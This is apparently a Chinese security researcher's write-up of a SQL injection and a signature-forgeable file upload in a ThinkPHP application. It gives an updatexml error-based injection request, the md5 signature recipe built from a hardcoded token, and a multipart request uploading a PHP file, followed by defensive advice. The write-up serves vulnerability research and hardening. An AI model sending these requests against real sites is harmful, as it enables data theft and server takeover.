记一次0.5day分析
字数 1186 2025-08-06 00:52:37
ThinkPHP框架安全漏洞分析与利用
1. 路由分析
1.1 路由定位
- 应用目录结构清晰,主要功能位于
application目录下 - 登录接口
/user/login/对应index目录下的User.php的login方法 - 路由定义文件位于
/route/route.php,对index模块进行了特殊定义
1.2 路由访问规则
- 访问
/s:code会调用index/share方法 :code作为占位符会自动绑定参数,防止注入- 必须遵循框架定义的路由规则进行访问
2. SQL注入漏洞分析
2.1 漏洞位置
- 位于后台
index模块的file文件的list()方法 - 可控参数:
folder.id和search
2.2 漏洞成因
- 代码使用
fetchSql(true)获取SQL语句但不执行 - 未执行的SQL语句中的特殊字符(如单引号)不会被转义
- 通过
UNION拼接SQL语句时产生注入
2.3 关键代码分析
$ttt = db('stores')
->where(['parent_folder'=>$folder_id])
->where('origin_name','like','%'.$search.'%')
->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time')
->select();
2.4 漏洞利用
- 构造恶意
folder_id参数实现注入 - 示例攻击报文:
GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1
Host: wp.com
...
3. 文件上传漏洞分析
3.1 漏洞位置
- 文件上传功能位于
public/server/index.php - 使用
move_uploaded_file函数实现文件上传 - 受
protected权限修饰,通过start()方法调用
3.2 签名验证机制
-
需要两个参数:
$command和$sign -
验证流程:
- 获取HTTP参数数组的hash
- 与传入的
$sign进行比较 $sign不作为$params传参
-
签名生成逻辑:
// 示例签名生成
echo md5("md=upload&uid=1asdasfasfasfasfasfa");
- 使用配置中的token值
asdasfasfasfasfasfa进行拼接
3.3 文件上传流程
- 验证签名通过后调用
upload_file函数 - 接受
uid参数 - 上传后通过
upload_notify返回文件路径信息
3.4 漏洞利用
- 构造有效的签名:
echo md5("md=upload¬ify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");
- 攻击报文示例:
POST /server/index.php/start?md=upload&uid=1¬ify=http://127.0.0.1:8877/&sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1
Host: wp.com
Content-Type: multipart/form-data; boundary=570796120375390059114427
--570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php
<?php phpinfo(); ?>
--570796120375390059114427--
4. 防御建议
4.1 SQL注入防御
- 避免使用
fetchSql(true)获取未转义的SQL语句 - 对所有用户输入进行严格的过滤和转义
- 使用参数绑定或预编译语句
4.2 文件上传防御
- 加强签名验证机制,确保不可伪造
- 限制上传文件类型,检查文件内容
- 不要将上传路径通过外部请求泄露
- 对上传文件进行重命名,避免直接使用用户提供的文件名
5. 总结
-
代码审计要点:
- 仔细分析路由定义和访问规则
- 关注数据库操作中
fetchSql的使用 - 检查文件上传功能的签名验证机制
-
调试技巧:
- 使用数据库监控观察实际执行的SQL语句
- 打印中间变量和SQL语句进行调试
- 本地搭建环境验证漏洞利用链
-
框架特性:
- 熟悉ThinkPHP框架的特殊语法和函数
- 理解框架的安全机制和潜在绕过方式
- 关注框架文档中的安全建议和最佳实践